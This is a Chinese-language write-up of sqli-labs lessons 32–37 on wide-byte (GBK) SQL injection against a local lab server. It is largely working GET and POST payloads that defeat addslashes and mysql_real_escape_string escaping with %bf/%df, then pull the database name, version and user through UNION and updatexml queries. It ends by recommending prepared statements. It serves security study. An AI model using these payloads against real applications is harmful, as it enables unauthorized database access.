在PHP连接mysql的时候执行了如下设置:
set character_set_client=gbkset NAMES ‘GBK’ #等同于 set character_set_connection=‘gbk’ set character_set_results=‘gbk’ set character_set_client=gbkmysql_set_charset(‘gbk’) #还是调用的set NAMES观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始); EG:
http://192.168.1.104/sql/Less-32/?id=1 and 1=1 --+ //服务器返回正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-32/?id=1 and 1=2 --+ //服务器返回正确(预期错误),尝试使用(')替换()进行构造; http://192.168.1.104/sql/Less-32/?id=1' and 1=1 --+ //服务器返回正确(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造; http://192.168.1.104/sql/Less-32/?id=1%bf' and 1=1 --+ //服务器返回正确(预期正确),同时发现构造的单引号前存在一个未被数据库识别的字符,尝试使用(1=2)进行构造,判断是否单引号是否被转义; http://192.168.1.104/sql/Less-32/?id=1%bf' and 1=2 --+ //服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');判断是否存在SQL语句报错提示 EG:
http://192.168.1.104/sql/Less-32/?id=1%df'))) and 1=1 --+ //服务器返回页面错误,同时发现存在SQL语句报错提示; //经过判断,存在SQL语句报错提示;经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在preg_replace()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;
EG:
... http://192.168.1.104/sql/Less-32/?id=1%bf'order by 1,2,3,4 --+ //服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息; http://192.168.1.104/sql/Less-32/?id=0%df'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+ //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...EG:
http://192.168.1.104/sql/Less-32/?id=0%df'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+ //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...获取其他信息的方法如上面示例的一样,至此,SqliLab-32结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始); EG:
http://192.168.1.104/sql/Less-33/?id=1 and 1=1 --+ //服务器返回正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-33/?id=1 and 1=2 --+ //服务器返回正确(预期错误),尝试使用(')替换()进行构造; http://192.168.1.104/sql/Less-33/?id=1' and 1=1 --+ //服务器返回正确(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造; http://192.168.1.104/sql/Less-33/?id=1%bf' and 1=1 --+ //服务器返回正确(预期正确),同时发现构造的单引号前存在一个未被数据库识别的字符,尝试使用(1=2)进行构造,判断是否单引号是否被转义; http://192.168.1.104/sql/Less-33/?id=1%bf' and 1=2 --+ //服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');判断是否存在SQL语句报错提示 EG:
http://192.168.1.104/sql/Less-33/?id=1%df'))) and 1=1 --+ //服务器返回页面错误,同时发现存在SQL语句报错提示; //经过判断,存在SQL语句报错提示;经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在addslashes()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;
EG:
... http://192.168.1.104/sql/Less-33/?id=1%bf'order by 1,2,3,4 --+ //服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息; http://192.168.1.104/sql/Less-33/?id=0%df'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+ //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...EG:
http://192.168.1.104/sql/Less-33/?id=0%df'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+ //服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...获取其他信息的方法如上面示例的一样,至此,SqliLab-33结束;
观察发现是POST型数据传送,通过浏览器的开发者工具发现传送,参数为(uname)和(passwd)以及(submit=Submit),尝试对其中的参数进行注入点判断(一般闭合字符是从单引号,双引号开始); EG:
uname=1 or 1=1 %23&passwd=1&submit=Submit //服务器返回错误(预期正确),尝试使用(')替换()进行构造; uname=1' or 1=1 %23&passwd=1&submit=Submit //服务器返回错误(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造; uname=a%bf' or 1=1 %23&passwd=a&submit=Submit //服务器返回正确(预期正确),判断出(%bf)可以使单引号转义失效,尝试使用(1=2)进行构造,判断是否是注入点; uname=a%bf' or 1=2 %23&passwd=a&submit=Submit //服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');判断是否存在SQL语句报错提示 EG:
uname=a%bf'))) or 1=1 %23&passwd=a&submit=Submit //服务器返回页面错误,同时发现存在SQL语句报错提示; //经过判断,存在SQL语句报错提示;经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在addslashes()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;
EG:
... uname=a%bf' order by 1,2,3 %23&passwd=a&submit=Submit //服务器返回页面错误,判断出字段数为(2),使用union联合查询获取信息; uname=a%df'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c) %23&passwd=a&submit=Submit //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...EG:
uname=a%df'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) %23&passwd=a&submit=Submit //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...获取其他信息的方法如上面示例的一样,至此,SqliLab-34结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始); EG:
http://192.168.1.104/sql/Less-35/?id=1 and 1=1 --+ //服务器返回正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-33/?id=1 and 1=2 --+ //服务器返回错误(预期错误),判断参数(id)存在注入,无闭合字符;判断是否存在对特殊字符的转义 EG:
http://192.168.1.104/sql/Less-35/?id=1' and 1=1 --+ //服务器返回正确(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造; http://192.168.1.104/sql/Less-35/?id=1%bf' and 1=1 --+ //服务器返回错误(预期错误),发现单引号未被转义; //经过判断,存在对特殊字符的转义;判断是否存在SQL语句报错提示 EG:
http://192.168.1.104/sql/Less-35/?id=1))) and 1=1 --+ //服务器返回页面错误,同时发现存在SQL语句报错提示; //经过判断,存在SQL语句报错提示;经过对参数(id)测试,发现参数(id)存在注入,无闭合字符(数字型注入),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在addslashes()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;
EG:
... http://192.168.1.104/sql/Less-35/?id=1 order by 1,2,3,4 --+ //服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息; http://192.168.1.104/sql/Less-35/?id=0 union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+ //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...EG:
http://192.168.1.104/sql/Less-35/?id=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+ //服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...获取其他信息的方法如上面示例的一样,至此,SqliLab-35结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始); EG:
http://192.168.1.104/sql/Less-36/?id=1 and 1=1 --+ //服务器返回正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-36/?id=1 and 1=2 --+ //服务器返回正确(预期错误),尝试使用(')替换()进行构造; http://192.168.1.104/sql/Less-36/?id=1' and 1=1 --+ //服务器返回正确(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造; http://192.168.1.104/sql/Less-36/?id=1%bf' and 1=1 --+ //服务器返回正确(预期正确),同时发现构造的单引号前存在一个未被数据库识别的字符,尝试使用(1=2)进行构造,判断是否单引号是否被转义; http://192.168.1.104/sql/Less-36/?id=1%bf' and 1=2 --+ //服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');判断是否存在SQL语句报错提示 EG:
http://192.168.1.104/sql/Less-36/?id=1%df'))) and 1=1 --+ //服务器返回页面错误,同时发现存在SQL语句报错提示; //经过判断,存在SQL语句报错提示;经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在mysql_real_escape_string()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;
EG:
... http://192.168.1.104/sql/Less-36/?id=1%bf'order by 1,2,3,4 --+ //服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息; http://192.168.1.104/sql/Less-36/?id=0%df'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+ //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...EG:
http://192.168.1.104/sql/Less-36/?id=0%df'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+ //服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...获取其他信息的方法如上面示例的一样,至此,SqliLab-36结束;
观察发现是POST型数据传送,通过浏览器的开发者工具发现传送,参数为(uname)和(passwd)以及(submit=Submit),尝试对其中的参数进行注入点判断(一般闭合字符是从单引号,双引号开始); EG:
uname=1 or 1=1 %23&passwd=1&submit=Submit //服务器返回错误(预期正确),尝试使用(')替换()进行构造; uname=1' or 1=1 %23&passwd=1&submit=Submit //服务器返回错误(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造; uname=a%bf' or 1=1 %23&passwd=a&submit=Submit //服务器返回正确(预期正确),判断出(%bf)可以使单引号转义失效,尝试使用(1=2)进行构造,判断是否是注入点; uname=a%bf' or 1=2 %23&passwd=a&submit=Submit //服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');判断是否存在SQL语句报错提示 EG:
uname=a%bf'))) or 1=1 %23&passwd=a&submit=Submit //服务器返回页面错误,同时发现存在SQL语句报错提示; //经过判断,存在SQL语句报错提示;经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在mysql_real_escape_string()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;
EG:
... uname=a%bf'order by 1,2,3 %23&passwd=a&submit=Submit //服务器返回页面错误,判断出字段数为(2),使用union联合查询获取信息; uname=a%df'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c) %23&passwd=a&submit=Submit //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...EG:
uname=a%df'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) %23&passwd=a&submit=Submit //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...获取其他信息的方法如上面示例的一样,至此,SqliLab-37结束;
经过测试发现,这几种函数addslashes()、mysql_real_escape_string()、replace()都存在有类似的绕过方式(在特殊字符前添加%bf,%df,%815c,%825c,%835c等使其转义失效然后绕过),对于宽字节注入的绕过等还是要从编码下手,不管是GBK转换UTF-8 ,还是UTF-8 转换GBK,都会由于编码的问题产生宽字节注入,防御最好采用预编译的方式,最后老话长谈,还是注重于注入点的判断,GET型直接构造payload,POST型需要抓包改包(在数据包中构造payload),使用注入的方式取决于注入点时收集的信息的多与少。
[如有错误,请指出,拜托了<( _ _ )> !!!]